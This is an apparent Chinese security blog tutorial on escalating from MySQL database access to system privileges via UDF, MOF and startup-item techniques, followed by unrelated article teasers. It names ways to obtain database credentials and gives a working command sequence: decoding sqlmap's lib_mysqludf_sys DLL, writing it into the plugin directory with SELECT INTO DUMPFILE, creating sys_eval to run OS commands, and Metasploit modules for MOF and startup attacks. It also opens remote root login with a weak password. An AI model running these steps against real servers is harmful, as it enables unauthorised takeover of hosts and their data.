权限提升数据库(基于MySQL的UDF,MOF,启动项提权)

news/2023/12/9 20:40:52 标签: 数据库, 安全, 腾讯云, web安全, 网络安全

获取数据库权限

如何获取数据库的最高权限用户的密码,常用方法有这些

网站存在高权限SQL注入点
数据库的存储文件或备份文件
网站应用源码中的数据库配置文件
采用工具或脚本爆破

 网站存在高权限SQL注入点

可以通过sqlmap拿到user表的账号密码,密码可能是MD5加密的。可以通过下面网站进行解密md5在线解密破解,md5解密加密 (cmd5.com)

 数据库的存储文件或备份文件

如图,打开C:\phpStudy\MySQL\data\mysql\user.MYD

 可以看到保存了账号密码,通过MD5解密得到密码

网站应用源码中的数据库配置文件

寻找config,inc等配置文件,最有效

采用工具或脚本爆破 

尝试弱密码或默认密码进行爆破

数据库提权

当我们可以通过远程连接拿到了数据库权限后,尝试提权到系统权限,而数据库一般都是高权限运行的,提权得到的权限也会是高权限

UDF提权

UDF(Userdefined function)即用户定义函数,这是MySQL提供给使用者添加新函数的机制

UDF提权的先决条件

获取mysql控制权限:获取了mysql的账号密码,且可以远程登录

mysql具有写入权限,即secure_file_priv的值不为空

开启远程登录

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;    开启远程登录
FLUSH PRIVILEGES;   刷新权限

手动提权及原理

查看MySQL是否有写入文件权限

show global variables like '%secure%';

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,这个提权方法就失效了
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

这里为了实验需要,在配置文件加上这个选项

上传UDF的动态链接库文件

MySQL版本小于5.1导出C:\Windows\System32

MySQL版本大于5.1导出MySQL安装目录的lib\plugin,现在MySQL版本几乎都在这个范围

 select version();查看MySQL版本

select @@basedir;查看MySQL安装目录路径,sql里一个@表示变量引用,@@表示系统变量和全局变量

这里有一个问题,plugin文件可能不存在,这是网上说的一种方法,现在已经不行了

select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION';

遇到这种情况只能看自己是否能获取到Web权限,比如通过数据库里的账号密码信息,然后手动加上plugin或者尝试不用数据库来提权了

查看插件位置

show variables like 'plugin%';

现在我们需要查看操作系统和数据库的架构情况

select @@version_compile_os, @@version_compile_machine;

dll文件通过在sqlmap来获取

 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用 ,sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

 解密命令 python cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

 

 

接下来,就是把dll文件复制到plugin下,注意路径替换为自己的路径,这里需要注意\\,否则可能报错

select hex(load_file('E:\\sqlmap-1.7\\extra\\cloak\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';

写入udf.dll成功 

创建自定义函数

函数已经写好,下一步就是调用的问题了,创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否创建成功

select * from mysql.func;

执行系统命令 

select sys_eval('whoami')

MOF提权

MOF提权在2008后因为权限控制而失效

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

使用方法

使用msf  use exploit/windows/mysql/mysql_mof 

启动项提权 

将木马文件写入目标机器的启动项,当目标机器重启时,启动项里的木马也会一起执行,受到前面的secure_file_priv限制,如果限制了启动项,这种提权方式自然也失败了

 use exploit/windows/mysql/mysql_start_up


http://www.niftyadmin.cn/n/5040629.html

相关文章

心理咨询预约微信小程序开发制作步骤

随着互联网的普及和人们对心理健康的重视,越来越多的心理咨询需求在日常生活中涌现。为了满足这一需求,开发一款心理咨询预约微信小程序势在必行。本文将介绍使用乔拓云网这个第三方制作平台来制作这款小程序的具体步骤。 1. 找一个合适的第三方制作平台…

解决 VMware Network Adapter VMnet1 IP 地址冲突导致无法打开路由器管理页面

问题表现 运行 ipconfig: 以太网适配器 以太网:连接特定的 DNS 后缀 . . . . . . . : lanIPv4 地址 . . . . . . . . . . . . : 192.168.1.226子网掩码 . . . . . . . . . . . . : 255.255.255.0默认网关. . . . . . . . . . . . . : 192.168.1.1以太网适配器 VM…

【MySQL基础】--- 约束

个人主页:兜里有颗棉花糖 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 兜里有颗棉花糖 原创 收录于专栏【MySQL学习专栏】🎈 本专栏旨在分享学习MySQL的一点学习心得,欢迎大家在评论区讨论💌 目录 一、什么…

kubernetes popeye 巡检

文章目录 1. 简介2. 安装3. 本地4. 容器 1. 简介 Popeye是一个实用程序,可以扫描实时Kubernetes集群,并报告部署的资源和配置的潜在问题。它根据部署的内容而不是磁盘上的内容来清理集群。通过扫描您的集群,它可以检测错误配置,并…

设计模式(2) - 创建型模式

创建型模式指的是 创建对象 或是 获取实例 的方式。 1、工厂模式 平时写一些简单的代码可能会直接用 new 创建出一个对象,但是实际在阅读一些功能比较多、规模比较庞大的工程时,可能会发现有多个类继承于同一个基类的情况,它们拥有同样的接口…

Linux- open() lseek()

文件描述符 文件描述符(File Descriptor,简称 FD)是 UNIX 和 UNIX-like 系统中用于代表和识别打开的文件或其他I/O资源的一种抽象标识。它是一个非负整数,内部由操作系统进行管理和分配。文件描述符可以代表文件、套接字、管道等…

大数据-hadoop

1.hadoop介绍 1.1 起源 1.2 版本 1.3生产环境版本选择 Hadoop三大发行版本:Apache、Cloudera、Hortonworks Apache版本最原始的版本 Cloudera在大型互联网企业中用的较多 Hortonworks文档较好 1.4架构 hadoop由三个模块组成 分布式存储HDFS 分布式计算MapReduce 资源调度引擎Y…

【分布式计算】副本数据Replicated Data

作用:可靠性、高性能、容错性 问题:如何保持一致、如何更新 问题:存在读写/写写冲突 一个简单的方法就是每个操作都保持顺序,但是因为网络延迟会导致问题 Data-centric models: consistency model?? ??? 读取时&#xff0c…

AUTOSAR知识点 之 SWC (二):基于ETAS工具ISOLAR-AB新建一个枚举数据类型。

目录 1、概述 2、新建枚举数据类型步骤 2.1、新建CompuMethods 2.2、新建ImplementationDataTypes 1、概述 实现工程的时候,有时候传递参数需要用户自己定义的数据类型,例如枚举、结构体之类的,方便于阅读的同时,增加代码的可维护性,文档记录

【Java 基础篇】Java 生产者-消费者模式详解

Java 生产者-消费者模式是多线程编程中常见的一种模式,它用于解决生产者和消费者之间的协作问题。生产者负责生成数据,消费者负责处理数据,通过合理的协作,可以实现高效的数据处理。本文将详细介绍 Java 生产者-消费者模式&#x…

向表中针对全部列插入数据

MySQL从小白到总裁完整教程目录:https://blog.csdn.net/weixin_67859959/article/details/129334507?spm1001.2014.3001.5502 语法格式: insert into 表名 values(); 我们来查看test01表里面有几列 mysql> show databases; -------------------- | Database …

数据结构与算法之HashBitMap

一:引入 1.Hash扩容算法在多线程情况有什么问题? 2.如何在3亿个整数(0~2亿)中判断某一个数是否存在?内存限制500M,一台机器。 分治: 布隆过滤器:神器 Redis Hash: 开3亿个空间&#…

kubernetes集群证书过期启动失败问题解决方法

1、问题现象 执行kubectl命令异常报告 [rootk8s-master1 ~]# kubectl get node The connection to the server 192.168.227.131:6443 was refused - did you specify the right host or port? [rootk8s-master1 ~]# 查看etcd的日志,报错信息如下 {"level&…

Tensorrt8.6.1安装

环境配置:Tensorrt8.6.1 ,cuda11.6, cudnn8.6.0, torch1.13.1cu116, torchvision0.14.1cu116 1.先把cuda11.6, cudnn8.6.0, torch1.13.1cu116, torchvision0.14.1cu116这几个安装完之后 2.下载Tensorrt8.6.1,复制移动以下文件 将include中头…

二分类问题的解决利器:逻辑回归算法详解(一)

文章目录 🍋引言🍋逻辑回归的原理🍋逻辑回归的应用场景🍋逻辑回归的实现 🍋引言 逻辑回归是机器学习领域中一种重要的分类算法,它常用于解决二分类问题。无论是垃圾邮件过滤、疾病诊断还是客户流失预测&…

Windows使用JEnv实现JDK多版本管理

Windows使用JEnv实现JDK多版本管理 JEnv安装Jenv命令 JEnv安装 JEnv是一个帮助我们管理多个JDK安装的工具,并将每个代码库配置为使用特定的JDK版本,而不必改变JAVA_HOME环境变量. 下载链接 windows版 windows版地址JEnvGithub地址: JEnv Jenv命令 添…
最新文章